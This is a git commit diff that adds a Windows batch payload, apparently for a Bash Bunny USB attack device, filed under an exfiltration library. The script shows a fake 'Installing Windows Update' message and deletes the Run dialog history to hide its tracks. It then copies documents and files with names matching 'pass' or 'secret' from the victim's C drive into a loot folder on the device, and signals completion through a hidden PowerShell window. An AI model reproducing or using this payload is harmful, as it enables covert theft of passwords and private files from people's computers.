Added SmartFileExtract payload (#296)

payloads/library/exfiltration/SmartFileExtract_Exfiltrator/e.cmd

@@ -0,0 +1,25 @@
+REM Setup required:
+REM o Create SFE in the loot directory
+REM o Place SmartFileExtract on the root of the bashbunny
+@echo off
+@echo Installing Windows Update
+
+REM Delete registry keys storing Run dialog history
+REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f
+
+REM Creates directory compromised of computer name, date and time
+REM %~d0 = path to this batch file. %COMPUTERNAME%, %date% and %time% pretty obvious
+set dst=%~dp0\..\..\loot\SFE\%COMPUTERNAME%_%date:~-4,4%%date:~-10,2%%date:~7,2%_%time:~-11,2%%time:~-8,2%%time:~-5,2%
+mkdir %dst% >>nul
+
+
+if Exist %USERPROFILE%\Documents (
+%~dp0\..\..\SmartFileExtract /drive c /file *.doc;*pass*.*;*secret* /copyto %dst% /curtain 3 /maxsec 90 /maxmbs 500 >>nul
+
+)
+
+REM Blink CAPSLOCK key
+start /b /wait powershell.exe -nologo -WindowStyle Hidden -sta -command "$wsh = New-Object -ComObject WScript.Shell;$wsh.SendKeys('{CAPSLOCK}');sleep -m 250;$wsh.SendKeys('{CAPSLOCK}');sleep -m 250;$wsh.SendKeys('{CAPSLOCK}');sleep -m 250;$wsh.SendKeys('{CAPSLOCK}')"
+
+@cls
+@exit